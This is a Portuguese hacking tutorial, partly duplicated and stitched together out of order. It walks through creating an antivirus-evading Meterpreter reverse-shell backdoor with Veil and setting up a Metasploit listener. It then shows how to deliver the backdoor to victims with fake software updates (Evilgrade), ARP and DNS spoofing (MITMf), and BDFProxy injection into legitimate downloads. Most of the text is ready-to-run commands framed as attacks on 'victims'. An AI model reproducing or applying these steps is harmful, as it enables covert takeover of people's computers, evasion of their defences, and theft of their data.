O ideal é tentar começar um ataque pelo lado do servidor, se não houve êxito ou o alvo não está na nossa mesma network ou protegido por um firewall e não é possível fazer um ping para ele será necessário um ataque pelo lado do cliente, pois dessa forma o alvo precisará de uma interação como abrir uma foto ou um arquivo PDF.
Para esse método será necessário engenharia social e coleta de informações do alvo.
Nesse método focamos nas pessoas e não nos sistemas.
O Evasion cria Backdoors indetectáveis e o Ordnance cria payloads para o Evasion. O Payload é uma parte de código que pode nos dar acesso e permissões no computador do alvo.
rev_https.py - É o método em que será estabelicido conexão ao alvo rev= reverse e https o protocolo usado. Reverse attack é quando o alvo clicar em meu backdoor o computador dele enviará informações ao computador que está atacando e não será bloqueado pelo firewall pois o computador acha que será apenas uma conexão normal a algum website por usar portas de websites.
Se vermos o 18
lua/shelcode_inject/flat.py que difere do padrão anterior, esse específico injeta código em outro payload.
Criando um Backdoor
Vemos que o LPORT é 80, o que é ótimo pois é a porta dos navegadores, porém não usaremos essa porta pois há um webserver rodando nessa, por isso usaremos a porta 8080 que também é utilizada por navegadores e não é suspeita.
Criando um backdoor assim, passaremos por qualquer antivirus exceto o AVG, e isso não é bom pois queremos ultrapassar todos os Antivirus.
Enganando o Antivirus
Os antivírus possuem uma base de dados contendo as assinaturas dos vírus de que podem eliminar. Desta forma, somente após a atualização de seu banco de dados, os vírus recém-descobertos podem ser detectados. Se o seu arquivo está com alguma dessas assinaturas o antivirus detecta, porém se você muda a assinatura o antivirus acha que é um programa normal.
Devemos mudar nosso arquivo para que ele seja único e não esteja no banco de dados do antivírus.
A primeira mudança deve ser os processors, o número mínimo de processadores que devem estar presentes no sistema para que o payload seja executado.
Mudando isso nosso backdoor já terá uma assinatura diferente. mudaremos para 1 pois um número alto pode fazer com que ele não funcione.
Também mudaremos a opção sleep que serve para o Backdoor ficar um tempo inativo antes de ativar o código malicioso. Mudamos para qualquer número apenas para ele ficar diferente
Agora devemos escolher o nome do Backdoor, colocaremos rev_https_8080 para lembrarmos do que se trata, mas pode ser qualquer nome.
Vamos agora verificar se ele está indetectável ao antivírus, podemos fazer isso com uma ferramenta do próprio veil, porém ela não é tão eficaz.
Não é recomendavel utilizar o virustotal pois ele vai enviar a assinatura de nosso backdoor ao banco de dados dos antivírus.
Agora podemos usar esse arquivo com qualquer device e ter certeza que os antivírus não vão detectar como malicioso.
Os antivírus sempre renovam suas base de dados, e o veil também o correto é sempre verificar. por exemplo esse mesmo backdoor com o SLEEP 10 foi reconhecido por um antivírus.
Podemos ver que a opção que surgiu é [windows/meterpreter/reverse_tcp] porém o nosso payload é [go/meterpreter/rev_https] por isso devemos mudar isso.
Agora devemos verificar se todas as opções estao corretas e mudar, nesse caso o LHOST está correto, mas devemos verificar todos os dados.
A porta não está correta pois queremos usar a porta 8080 então executamos o comando
Agora, qualquer pessoa que clicar e executar nosso Backdoor, enviará conexão ao nosso computador e podemos ter controle total.
Agora devemos ver como enviar esse backdoor aos computadores das vítimas.
Primeiro utilizaremos uma forma simples para testar o Backdoor enviando e abrindo o arquivo no alvo
podemos utilizar o endereço do webserver do linux: var/www/html nos arquivos, criar uma pasta arquivos maliciosos e colocar o backdoor que criamos nele
Para acessar nosso backdoor vamos ao endereço nos arquivos:
var/lib/veil-evasion/output/compiled.
Copiamos esse arquivo na pasta de arquivos maliciosos
para começar esse website devemos colocar o comando
Agora podemos testar o Backdoor. E logo vemos no kali que temos conexão com o alvo e agora temos controle total. e estamos na sessão meterpreter. Veremos o que podemos fazer com isso no artigo sobre Pós-Conexão.
Vimos como fazer backdoor porém a pessoa precisa executar o que é difícil
Agora iremos criar um falso-update, o alvo tem o programa e vai atualizar ele, porém estará instalando nosso Backdoor
Precisamos estar com Men-In-the-Middle ou com uma internet falsa ou com MITMf como demonstrei nos outros artigos.
Faremos com DNS Spoofing e uma ferramenta chamada Evilgrade que cria falsos updates.
Podemos utilizar essa ferramenta nos seguintes cenários:
demonstra como é o agent original e iremos colocar o nosso agent no lugar do dele:
Por alguma razão o Backdoor _https que criamos anteriormente entra em conflito com o DAP, por isso iremos usar um novo backdoor _http
Mudamos o agent com o endereço de nosso Backdoor que mudamos o nome para backdoor.exe:
Ainda podemos mudar qualquer opção como o failsite, o site que mostrará quando o download não funcionar ou endsite.
Devemos fazer um web spoofing para quando a vítima entrar no site que está descrito como virtualhot, em nosso caso (update.speedbit.com) redirecionar o alvo ao evilgrade. Faremos isso com o MITMf
Para DNS Utilizar a porta 5353 pois ela é mais neutra e não está sendo utilizada e o evilgrade está rodando na porta 53, teríamos um conflito se os dois estiverem na mesma porta.
Nos [[[A]]] records vemos que estamos redirecionando qualquer request de update.speedbit.com para nosso IP
Aonde estiver escrito Host em windowsIntelx86 e windowsIntelx64 em todos os HOSTS deve colocar o IP do Atacante (Kali)
Precisamos redirecionar qualquer trafego da porta 80 para porta 8080(local em que o proxy está rodando), faremos isso com o iptable, Sistema de controle de filtros para protocolos ipv4
Na terceira tela iniciar o metasploitable para receber as comunicações com o local que está os resources do bdfproxy
Para esse método será necessário engenharia social e coleta de informações do alvo.
Nesse método focamos nas pessoas e não nos sistemas.
Criar um Backdoor com Veil Framework
Neste capítulo, vamos trabalhar com o Veil. Este framework contém várias ferramentas para criar payloads, esconder payloads dentro executáveis ou PDFs, entregar payloads úteis, coletar informações e permitir pós-exploração.
Muitos hackers vão usar Veil porque da forma como ela é eficaz na codificação e entrega de payloads . Permanecendo sem ser detectado por anti-vírus ( AV ) ou sistemas de detecção de intrusão ( IDS ) é uma prioridade para qualquer hacker.
Instalando
Muitos hackers vão usar Veil porque da forma como ela é eficaz na codificação e entrega de payloads . Permanecendo sem ser detectado por anti-vírus ( AV ) ou sistemas de detecção de intrusão ( IDS ) é uma prioridade para qualquer hacker.
Instalando
No kali vamos instalar o Veil: https://github.com/Veil-Framework/Veil
Vá em clone or download
Copie, vá ao terminal e vamos navegar até o opt
> cd /opt
> ls
> pwd
git clone [url do clone]
> git clone https://github.com/Veil-Framework/Veil.git
> cd Veil/
> ls
> cd setup/
> ls
> ./setup.sh
Deve-se continuar aceitando todo o processo e instalando as ferramentas.
Agora voltamos ao Root
> cd /root
Usando o VeilInstalamos ele no opt então vamos para lá
> cd /opt/Veil/
> ls
> ./Veil.py
Entramos na tela de início e poderemos começar a utilizar a ferramenta.
Logo vemos os comandos que podemos usar.
O Veil 3.0 tem duas ferramentas e podemos ver elas com o comando list
> list
O Evasion cria Backdoors indetectáveis e o Ordnance cria payloads para o Evasion. O Payload é uma parte de código que pode nos dar acesso e permissões no computador do alvo.
Para usar o evasion rodamos o comando
> use 1
Com o comando list podemos ver todos os payloads disponíveis
> list
E veremos uma lista com vários Payloads disponíveis
Vamos analisar o Payload 15 que é dividido em três partes:
go/meterpreter/rev_https.py
go - A linguagem em que o payload é escrito
meterpreter - o tipo de código que será executado no alvo, nesse caso é um payload feito pelo metasploit e ele permite ser rodado como um processo normal e ter controle total ao computador do alvo sendo um processo normal no qual será muito difícil de ser detectado.rev_https.py - É o método em que será estabelicido conexão ao alvo rev= reverse e https o protocolo usado. Reverse attack é quando o alvo clicar em meu backdoor o computador dele enviará informações ao computador que está atacando e não será bloqueado pelo firewall pois o computador acha que será apenas uma conexão normal a algum website por usar portas de websites.
Se vermos o 18
lua/shelcode_inject/flat.py que difere do padrão anterior, esse específico injeta código em outro payload.
Criando um Backdoor
Na tela inicial do veil digitar:
> list
selecionar o evasion
> 1
listar os Payloads disponíveis
> list
Utilizaremos o número 15 go/meterpreter/rev_https.py
> use 15
Vemos informação Sobre o Payload e precisamos definir o LHOST, que será o IP no qual o payload ou o backdoor vai se conectar, o Kali do Hacker.
Podemos mudar qualquer dado com o comando set
Podemos mudar qualquer dado com o comando set
Fazemos ifconfig em outro terminal e pegamos nosso ip
No terminal do Veil evasion:
> set LHOST [IP do kali]
Vemos que o LPORT é 80, o que é ótimo pois é a porta dos navegadores, porém não usaremos essa porta pois há um webserver rodando nessa, por isso usaremos a porta 8080 que também é utilizada por navegadores e não é suspeita.
> set LPORT 8080
Quando vemos as opções novamente vemos que está tudo atualizado
> options
Criando um backdoor assim, passaremos por qualquer antivirus exceto o AVG, e isso não é bom pois queremos ultrapassar todos os Antivirus.
Enganando o Antivirus
Os antivírus possuem uma base de dados contendo as assinaturas dos vírus de que podem eliminar. Desta forma, somente após a atualização de seu banco de dados, os vírus recém-descobertos podem ser detectados. Se o seu arquivo está com alguma dessas assinaturas o antivirus detecta, porém se você muda a assinatura o antivirus acha que é um programa normal.
Devemos mudar nosso arquivo para que ele seja único e não esteja no banco de dados do antivírus.
A primeira mudança deve ser os processors, o número mínimo de processadores que devem estar presentes no sistema para que o payload seja executado.
Mudando isso nosso backdoor já terá uma assinatura diferente. mudaremos para 1 pois um número alto pode fazer com que ele não funcione.
> set PROCESSORS 1
Também mudaremos a opção sleep que serve para o Backdoor ficar um tempo inativo antes de ativar o código malicioso. Mudamos para qualquer número apenas para ele ficar diferente
> set SLEEP 6
> options
Tudo pronto:
Para gerar o backdoor só precisamos executar o comando
> generate
Agora devemos escolher o nome do Backdoor, colocaremos rev_https_8080 para lembrarmos do que se trata, mas pode ser qualquer nome.
O Backdoor foi generado e nos mostra onde está o arquivo e outros dados
Copiamos o local que ele está, Executable written to:
Vamos agora verificar se ele está indetectável ao antivírus, podemos fazer isso com uma ferramenta do próprio veil, porém ela não é tão eficaz.
Não é recomendavel utilizar o virustotal pois ele vai enviar a assinatura de nosso backdoor ao banco de dados dos antivírus.
O melhor, agora, é um site chamado https://nodistribute.com/
Selecionamos o SCANFILE, e colocamos o endereço do arquivo backdoor no pesquisador
Podemos ver que o arquivo não foi detectado por todos os antivirus
Agora podemos usar esse arquivo com qualquer device e ter certeza que os antivírus não vão detectar como malicioso.
Os antivírus sempre renovam suas base de dados, e o veil também o correto é sempre verificar. por exemplo esse mesmo backdoor com o SLEEP 10 foi reconhecido por um antivírus.
Manipulando o Payload e Conexões de entrada
Programamos para nosso backdoor conectar com a nossa porta 8080, agora precisamos configurar nossa conexão de entrada. Faremos isso com o metasploit framework pois esse payload foi criado pelo metasploit.nosso backdoor era:
go/meterpreter/rev_https, port 8080
iniciamos o metasploit framework com o comando
>msfconsole
Queremos utilizar o módulo que verifica as conexões de entrada. Esse
> use exploit/multi/handler
> show options
O mais importante é especificar o payload
Podemos ver que a opção que surgiu é [windows/meterpreter/reverse_tcp] porém o nosso payload é [go/meterpreter/rev_https] por isso devemos mudar isso.
A primeira parte está ótimo pois nosso alvo é um windows.
o que precisamos mudar é o [reverse_tcp] par [reverse_https]
mudamos isso da mesma forma que fizemos com o veil evasion
> set PAYLOAD windows/meterpreter/reverse_https
vamos conferir
> show options
Agora devemos verificar se todas as opções estao corretas e mudar, nesse caso o LHOST está correto, mas devemos verificar todos os dados.
A porta não está correta pois queremos usar a porta 8080 então executamos o comando
> set LPORT 8080
Agora só precisamos executar o backdoor com o comando
> exploit
Agora, qualquer pessoa que clicar e executar nosso Backdoor, enviará conexão ao nosso computador e podemos ter controle total.
Agora devemos ver como enviar esse backdoor aos computadores das vítimas.
Errors:
Se der problema com o set, tente fazer apt-get full ugrade
Testando o Backdoor com webserver do Kali
Utilizando o webserver do Kali para testar no Windows
Primeiro utilizaremos uma forma simples para testar o Backdoor enviando e abrindo o arquivo no alvo
podemos utilizar o endereço do webserver do linux: var/www/html nos arquivos, criar uma pasta arquivos maliciosos e colocar o backdoor que criamos nele
Para acessar nosso backdoor vamos ao endereço nos arquivos:
var/lib/veil-evasion/output/compiled.
Copiamos esse arquivo na pasta de arquivos maliciosos
para começar esse website devemos colocar o comando
> service apache2 start
No windows só precisamos navegar até o IP do kali
Isso é o que está no var/www/html do Kali
como queremos testar o backdoor só devemos escrever o IP/arquivos-maliciosos
Agora podemos testar o Backdoor. E logo vemos no kali que temos conexão com o alvo e agora temos controle total. e estamos na sessão meterpreter. Veremos o que podemos fazer com isso no artigo sobre Pós-Conexão.
> sysinfo
Enviar o Backdoor ao Alvo
Falso Update para instalar Backdoor com
Evilgrade e MITMf
Evilgrade e MITMf
Vimos como fazer backdoor porém a pessoa precisa executar o que é difícil
Agora iremos criar um falso-update, o alvo tem o programa e vai atualizar ele, porém estará instalando nosso Backdoor
Precisamos estar com Men-In-the-Middle ou com uma internet falsa ou com MITMf como demonstrei nos outros artigos.
Faremos com DNS Spoofing e uma ferramenta chamada Evilgrade que cria falsos updates.
Podemos utilizar essa ferramenta nos seguintes cenários:
internal scenery:
- Internal DNS access
- ARP spoofing
- DNS Cache Poisoning
- DHCP spoofing
- TCP hijacking
- Wi-Fi Access Point impersonation
External scenery:
- Internal DNS access
- DNS Cache Poisoning
- Instalar evilgrade
git clone https://github.com/infobyte/evilgrade.git
cd evilgrade/
cpan Data::Dump
cpan Digest::MD5
cpan Time::HiRes
cpan RPC::XML
Now the tool will work, it might display an error about Gnu.pm
this is a known bug with evil-grade, if its annoying you
the you can get rid of it using the by removing that lib using
the following command
apt-get remove libterm-readline-gnu-perl
Just make sure you re-install it after you're done in case it is
needed by other tools
apt-get install libterm-readline-gnu-perl
2. Executar o evilgrade
> ./evilgrade
Ver todos os programas que ele pode instalar:
> show modules
E podemos ver todos os programas que podemos criar o falso update
- Freerip 3.30
- Jet photo 4.7.2
- Teamviewer 5.1.9385
- ISOpen 4.5.0
- Istat.
- Gom 2.1.25.5015
- Atube catcher 1.0.300
- Vidbox 7.5
- Ccleaner 2.30.1130
- Fcleaner 1.2.9.409
- Allmynotes 1.26
- Notepad++ 5.8.2
- Java 1.6.0_22 winxp/win7
- aMSN 0.98.3
- Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
- Mirc 7.14
- Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702, Microsoft works)
- Dap 9.5.0.3
- Winscp 4.2.9
- AutoIt Script 3.3.6.1
- Clamwin 0.96.0.1
- AppTapp Installer 3.11 (Iphone/Itunes)
- getjar (facebook.com)
- Google Analytics Javascript injection
- Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
- Winamp 5.581
- TechTracker (cnet) 1.3.1 (Build 55)
- Nokiasoftware firmware update 2.4.8es - (Windows software)
- Nokia firmware v20.2.011
- BSplayer 2.53.1034
- Apt ( < Ubuntu 10.04 LTS)
- Ubertwitter 4.6 (0.971)
- Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
- Cpan 1.9402
- VirtualBox (3.2.8 )
- Express talk
- Filezilla
- Flashget
- Miranda
- Orbit
- Photoscape.
- Panda Antirootki
- Skype
- Sunbelt
- Superantispyware
- Trillian <= 5.0.0.26
- Adium 1.3.10 (Sparkle Framework)
- VMware
- more...
Escolhemos o programa dap (download accelerator plus) com o comando
> configure dap
> show options
demonstra como é o agent original e iremos colocar o nosso agent no lugar do dele:
Por alguma razão o Backdoor _https que criamos anteriormente entra em conflito com o DAP, por isso iremos usar um novo backdoor _http
Mudamos o agent com o endereço de nosso Backdoor que mudamos o nome para backdoor.exe:
> set agent /var/www/html/backdoor.exe (o diretorio de onde está o backdoor criado)
> show options
Ainda podemos mudar qualquer opção como o failsite, o site que mostrará quando o download não funcionar ou endsite.
> start
agora fazer o MITM attack para enviar esse falso update ao alvo.
Devemos fazer um web spoofing para quando a vítima entrar no site que está descrito como virtualhot, em nosso caso (update.speedbit.com) redirecionar o alvo ao evilgrade. Faremos isso com o MITMf
em outra janela
> leafpad /etc/mitmf/mitmf.conf
Para DNS Utilizar a porta 5353 pois ela é mais neutra e não está sendo utilizada e o evilgrade está rodando na porta 53, teríamos um conflito se os dois estiverem na mesma porta.
Nos [[[A]]] records vemos que estamos redirecionando qualquer request de update.speedbit.com para nosso IP
Tudo correto só devemos fazer o MITMf
Agora faremos o ataque MITMF
> mitmf --arp --spoof --gateway (ip do kali) --target (ip do target) -i eth0 --dns
Em outra Janela fazer o comando
> msf Exploit
> show options
podemos ver que temos o nome do Payload
o LHOST correto
Será na porta 8080 (importante)
> Exploit
Agora vai no Alvo e faz atualização do DAP no site oficial.
E podemos ver no Kali que temos conexão com o alvo
Veremos em outro artigo como utilizar o meterpeter para ter acesso total ao alvo em outro artigo
Entrega de Backdoors 2 - Backdoor factory
proxy, Acionar o Backdoor instalando
um programa no site oficial
proxy, Acionar o Backdoor instalando
um programa no site oficial
Utilizar três telas
Na tela um:
Primeiro precisamos configurar algumas configurações do bdf proxy
> Leafpad /etc/bdfproxy/bdfproxy.cfg
Tem que deixar o proxyMode em transparent
Aonde estiver escrito Host em windowsIntelx86 e windowsIntelx64 em todos os HOSTS deve colocar o IP do Atacante (Kali)
Após isso executar o comando para iniciar o bdfProxy
> BDFProxy
Podemos ver o arquivo de verificação de conexões de entrada
Etapa 2. redirecionar a conexão
Precisamos redirecionar qualquer trafego da porta 80 para porta 8080(local em que o proxy está rodando), faremos isso com o iptable, Sistema de controle de filtros para protocolos ipv4
Na segunda tela fazer o comando iptable
> iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
tudo o que for na porta 80 será redirecionado a porta 8080 do Kali, pois são portas de http.
Agora faz o ataque mitmf básico, ainda na segunda tela
> mitmf --arp --spoof --gateway (ip do gateway) --target (ip do target) -i eth0
Etapa 3.
Na terceira tela iniciar o metasploitable para receber as comunicações com o local que está os resources do bdfproxy
Para saber o exato local do bdfproxy:
> updatedb
> locate bdfproxy_msf_resource.rc
> msfconsole -r /urs/share/bdfproxy/bdfproxy_msf_resource.rc
Após o enter ficará assim:
No Windows 10, quando ele baixar o DAP no site original irá abrir a porta para nosso Backdoor
O alvo receberá o arquivo oficial de instalação, porém também estará acionando nosso Backdoor
Backdoor acionado no alvo:
Para ver o acesso:
> sessions -i 1
> sysinfo